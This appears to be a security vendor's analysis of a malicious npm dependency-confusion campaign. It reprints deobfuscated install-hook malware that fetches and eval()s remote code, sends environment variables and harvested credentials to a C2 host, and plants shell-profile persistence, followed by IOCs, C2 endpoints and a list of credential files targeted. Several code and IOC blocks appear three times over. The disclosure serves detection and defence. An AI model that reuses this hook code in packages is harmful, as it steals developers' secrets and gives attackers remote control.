BACK

Real World Attacks

Inside the moika.tech Dependency Confusion Campaign

Valentino Duval

31 May 2026

Real World Attacks

Inside the moika.tech Dependency Confusion Campaign

Valentino Duval

31 May 2026

Real World Attacks

Inside the moika.tech Dependency Confusion Campaign

Valentino Duval

31 May 2026

No headings found in content selector: .toc-content

Last week, 318 malicious npm packages appeared on the public registry. They were squatting on the private npm scopes organisations use internally. The packages were dressed up as telemetry. The user-agents read <scope>-telemetry/1.0. The kill switch was called _NO_TELEMETRY. The attacker wanted anyone who glanced at outbound traffic to keep scrolling.

The C2 domain was oob[.]moika[.]tech.

Ossprey's detection engine flagged all 318 packages within seconds of publication. This post covers how the attack worked, what it stole, and what the signals look like.

The Dependency Confusion Mechanic

Dependency confusion exploits a design decision in npm and most other package managers: when a resolver is configured to check both a private registry and the public one, it picks whichever has the higher version number. An internal package @bcs-payments/auth living at 1.4.2 in a private registry will lose to a public package of the same name at 99.99.99.

That is exactly how this campaign worked. The attacker identified scoped package names used internally by their targets - derived from public artefacts, job postings, or prior reconnaissance - registered those scopes on npm, and published packages at absurd version numbers: 99.99.99, 100.100.100, 11.11.11, and 99.0.x for later variants. When a developer or CI pipeline ran npm install, the resolver picked the attacker's version and the lifecycle hook ran.

We confirmed every package in the inventory carries a preinstall or postinstall hook. No user interaction is required beyond a dependency install.

Two Variants

Pulling the install scripts from the source packages, we found two distinct payload types across the 318 packages.

The Beacon (271 of the 318) is the lighter variant. It reads the package name from the npm_package_name environment variable, derives the scope, and contacts http://{pkg}.{scope}.oob[.]moika[.]tech/poc.js. Whatever the server sends back, the beacon runs with eval(). There is no payload baked into the package itself - it is a remote execution stub with a per-package callback URL so the operator can see exactly which victim triggered it and serve a tailored response.

// install-scripts/beacon.preinstall.js (deobfuscated)
const http = require('http');
const fs   = require('fs');

const name  = process.env.npm_package_name
               || JSON.parse(fs.readFileSync('package.json', 'utf8')).name;
const scope = name.startsWith('@') ? name.split('/')[0].slice(1) : 'x';
const pkg   = name.startsWith('@') ? name.split('/')[1] : name;

http.get(`http://${pkg}.${scope}.oob[.]moika[.]tech/poc.js`, res => {
  let src = '';
  res.on('data', d => src += d);
  res.on('end', () => { try { eval(src); } catch (_) {} });
}).on('error', () => {});
// install-scripts/beacon.preinstall.js (deobfuscated)
const http = require('http');
const fs   = require('fs');

const name  = process.env.npm_package_name
               || JSON.parse(fs.readFileSync('package.json', 'utf8')).name;
const scope = name.startsWith('@') ? name.split('/')[0].slice(1) : 'x';
const pkg   = name.startsWith('@') ? name.split('/')[1] : name;

http.get(`http://${pkg}.${scope}.oob[.]moika[.]tech/poc.js`, res => {
  let src = '';
  res.on('data', d => src += d);
  res.on('end', () => { try { eval(src); } catch (_) {} });
}).on('error', () => {});
// install-scripts/beacon.preinstall.js (deobfuscated)
const http = require('http');
const fs   = require('fs');

const name  = process.env.npm_package_name
               || JSON.parse(fs.readFileSync('package.json', 'utf8')).name;
const scope = name.startsWith('@') ? name.split('/')[0].slice(1) : 'x';
const pkg   = name.startsWith('@') ? name.split('/')[1] : name;

http.get(`http://${pkg}.${scope}.oob[.]moika[.]tech/poc.js`, res => {
  let src = '';
  res.on('data', d => src += d);
  res.on('end', () => { try { eval(src); } catch (_) {} });
}).on('error', () => {});

The Dropper (47 packages) is the full payload. It collects system information immediately - hostname, OS, Node version, complete process.env - then spawns a detached child process that runs independently of the npm install session. That child downloads the stage-1 loader from oob[.]moika[.]tech/payload/{os}.js (authenticated with an X-Secret header), writes it to a temp file, and executes it. If the download fails, it still reports what it gathered to oob[.]moika[.]tech/report. The dropper variant includes a 3-second startup sleep, annotated in the source as "обходит sandbox" - "bypasses sandbox".

// install-scripts/dropper.postinstall.js - key excerpt (deobfuscated)
const C2  = process.env.DEP_CONFUSION_URL    || 'https://oob[.]moika[.]tech/report';
const SEC = process.env.DEP_CONFUSION_SECRET || 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1';

// "обходит sandbox" - 3-second delay before execution
setTimeout(() => {
  post(C2, {
    hostname: os.hostname(), user: os.userInfo().username,
    platform: process.platform, env: process.env,
  }, { 'X-Secret': SEC, 'User-Agent': `${scope}-telemetry/1.0` });

  const loader = path.join(os.tmpdir(), `._${scope}_init.js`);
  fetchAndWrite(`https://oob[.]moika[.]tech/payload/${process.platform}.js`, loader)
    .then(() => {
      spawn(process.execPath, [loader], { detached: true, stdio: 'ignore' }).unref();
    }).catch(() => {
      post(C2, { error: true, env: process.env }, { 'X-Secret': SEC });
    });
}, 3_000);
// install-scripts/dropper.postinstall.js - key excerpt (deobfuscated)
const C2  = process.env.DEP_CONFUSION_URL    || 'https://oob[.]moika[.]tech/report';
const SEC = process.env.DEP_CONFUSION_SECRET || 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1';

// "обходит sandbox" - 3-second delay before execution
setTimeout(() => {
  post(C2, {
    hostname: os.hostname(), user: os.userInfo().username,
    platform: process.platform, env: process.env,
  }, { 'X-Secret': SEC, 'User-Agent': `${scope}-telemetry/1.0` });

  const loader = path.join(os.tmpdir(), `._${scope}_init.js`);
  fetchAndWrite(`https://oob[.]moika[.]tech/payload/${process.platform}.js`, loader)
    .then(() => {
      spawn(process.execPath, [loader], { detached: true, stdio: 'ignore' }).unref();
    }).catch(() => {
      post(C2, { error: true, env: process.env }, { 'X-Secret': SEC });
    });
}, 3_000);
// install-scripts/dropper.postinstall.js - key excerpt (deobfuscated)
const C2  = process.env.DEP_CONFUSION_URL    || 'https://oob[.]moika[.]tech/report';
const SEC = process.env.DEP_CONFUSION_SECRET || 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1';

// "обходит sandbox" - 3-second delay before execution
setTimeout(() => {
  post(C2, {
    hostname: os.hostname(), user: os.userInfo().username,
    platform: process.platform, env: process.env,
  }, { 'X-Secret': SEC, 'User-Agent': `${scope}-telemetry/1.0` });

  const loader = path.join(os.tmpdir(), `._${scope}_init.js`);
  fetchAndWrite(`https://oob[.]moika[.]tech/payload/${process.platform}.js`, loader)
    .then(() => {
      spawn(process.execPath, [loader], { detached: true, stdio: 'ignore' }).unref();
    }).catch(() => {
      post(C2, { error: true, env: process.env }, { 'X-Secret': SEC });
    });
}, 3_000);

What Stage 1 Collects

Deobfuscating the stage-1 loader revealed a 400-line JavaScript credential harvester behind the obfuscator.io base64 + RC4 string array. It sweeps a fixed list of paths and patterns covering:

  • SSH private keys (~/.ssh/) and authorised keys

  • AWS credentials (~/.aws/credentials, EC2 IMDS)

  • GCP service account JSON and metadata endpoint

  • Azure CLI credentials

  • Kubernetes ~/.kube/config and in-cluster service account tokens

  • Docker credentials and daemon socket

  • CI/CD configs (Jenkins, GitLab Runner, Ansible)

  • .env variants, .npmrc, .pypirc, composer auth.json

  • Private key files by extension (.pem, .key, .pfx, .p12, .jks)

  • Shell history files

  • Windows: PuTTY sessions and SSH host keys, Winlogon credentials, SNMP community strings

Everything collected is POSTed to oob[.]moika[.]tech/report. Beyond credential exfil, the loader also injects itself into .bashrc and .profile - persistence that survives stage-2 removal.

// loaders/deobfuscated/linux.deob.js - shell RC injection (persistence)
const rcFiles = [
  path.join(HOME, '.bashrc'), path.join(HOME, '.profile'),
  path.join(HOME, '.bash_profile'),
];
const stub = `\n# system update service\n`
           + `[ -f ~/.cache/._kworker ] && ~/.cache/._kworker &\n`;
for (const rc of rcFiles) {
  if (fs.existsSync(rc) && !fs.readFileSync(rc, 'utf8').includes('._kworker')) {
    fs.appendFileSync(rc, stub);
  }
}
// loaders/deobfuscated/linux.deob.js - shell RC injection (persistence)
const rcFiles = [
  path.join(HOME, '.bashrc'), path.join(HOME, '.profile'),
  path.join(HOME, '.bash_profile'),
];
const stub = `\n# system update service\n`
           + `[ -f ~/.cache/._kworker ] && ~/.cache/._kworker &\n`;
for (const rc of rcFiles) {
  if (fs.existsSync(rc) && !fs.readFileSync(rc, 'utf8').includes('._kworker')) {
    fs.appendFileSync(rc, stub);
  }
}
// loaders/deobfuscated/linux.deob.js - shell RC injection (persistence)
const rcFiles = [
  path.join(HOME, '.bashrc'), path.join(HOME, '.profile'),
  path.join(HOME, '.bash_profile'),
];
const stub = `\n# system update service\n`
           + `[ -f ~/.cache/._kworker ] && ~/.cache/._kworker &\n`;
for (const rc of rcFiles) {
  if (fs.existsSync(rc) && !fs.readFileSync(rc, 'utf8').includes('._kworker')) {
    fs.appendFileSync(rc, stub);
  }
}

After collection, stage 1 downloads the stage-2 binary from oob[.]moika[.]tech/bins/{os}/{os}, validates the ELF header, writes it to ~/.cache/._kworker on Linux or %AppData%\Roaming\Microsoft\Windows\WinUpdate.exe on Windows, and runs it.

Stage 2: The RAT

We identified the stage-2 binary as a Go reverse-SSH implant compiled with garble, which strips and scrambles Go metadata including the pclntab magic bytes to obstruct analysis. On Windows it bundles winpty for interactive terminal support; the build artefact path in the binary reveals the development username mail (C:\Users\mail\source\winpty).

The implant connects to 141[.]98[.]189[.]248:32322/ws over WebSocket (subprotocol ssh) using a self-signed TLS certificate with O="Cloudflare, Inc", which passes a cursory glance but fails any pinning or transparency check. Capabilities include:

  • Interactive PTY shell

  • SFTP file operations

  • SOCKS5 proxy tunnelling

  • NTLM proxy authentication for corporate network egress

NTLM proxy support is a specific design choice. NTLM is the authentication scheme used in Windows domain environments. The attacker built egress support for exactly the kind of corporate network their targets run.

On Linux the implant persists as a systemd --user service named dbus-broker.service, a common system service name, and adds a @reboot crontab entry as a fallback. On Windows it registers under HKCU\...\Run as MicrosoftUpdateService and creates a scheduled task triggering on logon.

Infrastructure and Attribution Signals

Tracing the C2 infrastructure, we found deliberate preparation well ahead of the campaign. moika[.]tech nameservers were set to ns1.reg.ru and ns2.reg.ru, the largest Russian domain registrar. Certificate Transparency logs show the subdomains admin[.]moika[.]tech, erp-dev[.]moika[.]tech, and work[.]moika[.]tech appearing on 2026-03-14, 75 days before the first packages were published. The attack infrastructure was live and tested for over two months before any victim was exposed.

Stage-0/1 C2 (oob[.]moika[.]tech, 72[.]56[.]97[.]200) sits on Timeweb, a Russian cloud provider, though the specific VPS is in Amsterdam. Stage-2 C2 (141[.]98[.]189[.]248:32322) sits on UFO Hosting LLC (AS33993) in Moscow.

One detail in the stage-2 binary cuts against simple attribution: the RAT exits if the system locale starts with ru. An operator targeting Russian financial institutions built a safeguard to avoid running on Russian-locale machines. The most common explanations are protecting contractor infrastructure, operational security against self-compromise, or a deliberate false flag.

The Targets

Looking at the scope names, we found they mirror naming conventions.

  • @bcs-* - BCS Bank, one of Russia's largest brokerages

  • @car-loans/* - consumer lending platforms

  • @cloudplatform-single-spa/* - 41 packages, the largest single family; single-spa is a micro-frontend framework common in enterprise banking portals

  • @activation_code/*, @apple-pay-trust/*, @google-pay-trust/* - payment processor integration layers

  • @polka-ui/*, @service-suppliers/* - internal UI component libraries


IOCs

Defanged for safe distribution.

Network

Indicator

Type

Stage

oob[.]moika[.]tech -> 72[.]56[.]97[.]200

C2 hostname/IP

Stage 0/1

141[.]98[.]189[.]248:32322

C2 IP:port

Stage 2 RAT

moika[.]tech (apex)

Exfil host

Env-theft variant

admin[.]moika[.]tech, erp-dev[.]moika[.]tech, work[.]moika[.]tech

Related subdomains

Infrastructure

C2 Endpoints

GET  https://oob[.]moika[.]tech/payload/{linux,mac,win}.js   (X-Secret required)
POST https://oob[.]moika[.]tech/report                       (credential exfil)
GET  https://oob[.]moika[.]tech/bins/{linux,win}/{linux,win} (stage-2 binary)
GET  wss://141[.]98[.]189[.]248:32322/ws                     (reverse-SSH tunnel, subproto: ssh)
GET  http://<pkg>.<scope>.oob[.]moika[.]tech/poc.js          (beacon callback)
GET  http://<pkg>.<scope>.moika[.]tech/env?d=<base64>        (apex env-theft variant)
GET  https://oob[.]moika[.]tech/payload/{linux,mac,win}.js   (X-Secret required)
POST https://oob[.]moika[.]tech/report                       (credential exfil)
GET  https://oob[.]moika[.]tech/bins/{linux,win}/{linux,win} (stage-2 binary)
GET  wss://141[.]98[.]189[.]248:32322/ws                     (reverse-SSH tunnel, subproto: ssh)
GET  http://<pkg>.<scope>.oob[.]moika[.]tech/poc.js          (beacon callback)
GET  http://<pkg>.<scope>.moika[.]tech/env?d=<base64>        (apex env-theft variant)
GET  https://oob[.]moika[.]tech/payload/{linux,mac,win}.js   (X-Secret required)
POST https://oob[.]moika[.]tech/report                       (credential exfil)
GET  https://oob[.]moika[.]tech/bins/{linux,win}/{linux,win} (stage-2 binary)
GET  wss://141[.]98[.]189[.]248:32322/ws                     (reverse-SSH tunnel, subproto: ssh)
GET  http://<pkg>.<scope>.oob[.]moika[.]tech/poc.js          (beacon callback)
GET  http://<pkg>.<scope>.moika[.]tech/env?d=<base64>        (apex env-theft variant)

Strings / Config

X-Secret header:   l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
Kill switch:       <SCOPE>_NO_TELEMETRY=1  (e.g. CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY)
User-agents:       <scope>-telemetry/1.0  |  node/telemetry-1.0
Stage-1 helper:    <tmpdir>/._<scope>

X-Secret header:   l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
Kill switch:       <SCOPE>_NO_TELEMETRY=1  (e.g. CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY)
User-agents:       <scope>-telemetry/1.0  |  node/telemetry-1.0
Stage-1 helper:    <tmpdir>/._<scope>

X-Secret header:   l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
Kill switch:       <SCOPE>_NO_TELEMETRY=1  (e.g. CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY)
User-agents:       <scope>-telemetry/1.0  |  node/telemetry-1.0
Stage-1 helper:    <tmpdir>/._<scope>

Persistence Paths

Linux:    ~/.cache/._kworker
          systemd --user unit: dbus-broker.service
          @reboot crontab entry

Windows:  %AppData%\Roaming\Microsoft\Windows\WinUpdate.exe
          HKCU\...\CurrentVersion\Run: MicrosoftUpdateService
          schtasks /sc onlogon
Linux:    ~/.cache/._kworker
          systemd --user unit: dbus-broker.service
          @reboot crontab entry

Windows:  %AppData%\Roaming\Microsoft\Windows\WinUpdate.exe
          HKCU\...\CurrentVersion\Run: MicrosoftUpdateService
          schtasks /sc onlogon
Linux:    ~/.cache/._kworker
          systemd --user unit: dbus-broker.service
          @reboot crontab entry

Windows:  %AppData%\Roaming\Microsoft\Windows\WinUpdate.exe
          HKCU\...\CurrentVersion\Run: MicrosoftUpdateService
          schtasks /sc onlogon

File Hashes (SHA-256)

File

SHA-256

linux.js (stage-1 loader)

b3ec71f611862b52dd0448adc9084c0366c7763b77377cd1a039f0fba40162ec

mac.js (stage-1 loader)

d5cba7bae0dbfbe856b3caf404a1bed5650d4a9cd82db994b0a42ccdfd1cea9f

win.js (stage-1 loader)

2ccfb72c0bc87ce56aa451bac1594d621796ffff0c06f6ce77060aa4409bc3f3

linux_stage2.bin (RAT)

80b98bd4b63d5a9cb8623c3e03a4596692a9304f9e82253241c457fccb697989

win_stage2.bin (RAT)

c4ca166af92dd73595fdd908511916d0c53c65047886db3fe688c2b5d622588f

MITRE ATT&CK

Selected techniques from the MITRE ATT&CK framework observed in this campaign:

ID

Technique

Notes

T1195.002

Supply Chain Compromise

Dependency confusion, version inflation

T1059.007

JavaScript

npm lifecycle hooks (preinstall/postinstall)

T1027

Obfuscated Files

obfuscator.io (stage-1); garble (stage-2)

T1497.003

Time-Based Evasion

3-second startup delay

T1552.001

Credentials In Files

.env, .npmrc, .pypirc, cloud credential files

T1552.004

Private Keys

SSH keys, .pem/.key/.pfx sweep

T1552.005

Cloud Instance Metadata

AWS IMDS, GCP metadata

T1572

Protocol Tunneling

SSH over WebSocket

T1090

Proxy

SOCKS5 + NTLM proxy auth

T1543.002

Systemd Service

dbus-broker.service (Linux)

T1547.001

Registry Run Keys

MicrosoftUpdateService (Windows)

T1614.001

System Language Discovery

RAT exits if locale starts with ru

FAQ

Was my organisation affected? If your private npm registry uses any of the 40+ scopes listed in the IOC table and you ran npm install between May 27-29 2026, check your install logs for outbound connections to oob[.]moika[.]tech. Any connection is a confirmed execution of the lifecycle hook.

What is the difference between the beacon and dropper variants? The beacon (271 packages) only calls home and eval()s whatever the server returns. The dropper (47 packages) runs a full credential sweep locally and downloads the stage-2 RAT. Both execute on npm install with no other user action required.

How do I check if a package I installed was malicious? SHA-256 hashes for the stage-1 loaders and stage-2 RAT binaries are in the IOC table. Match against artefacts in your install cache or any binaries found at the persistence paths listed.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.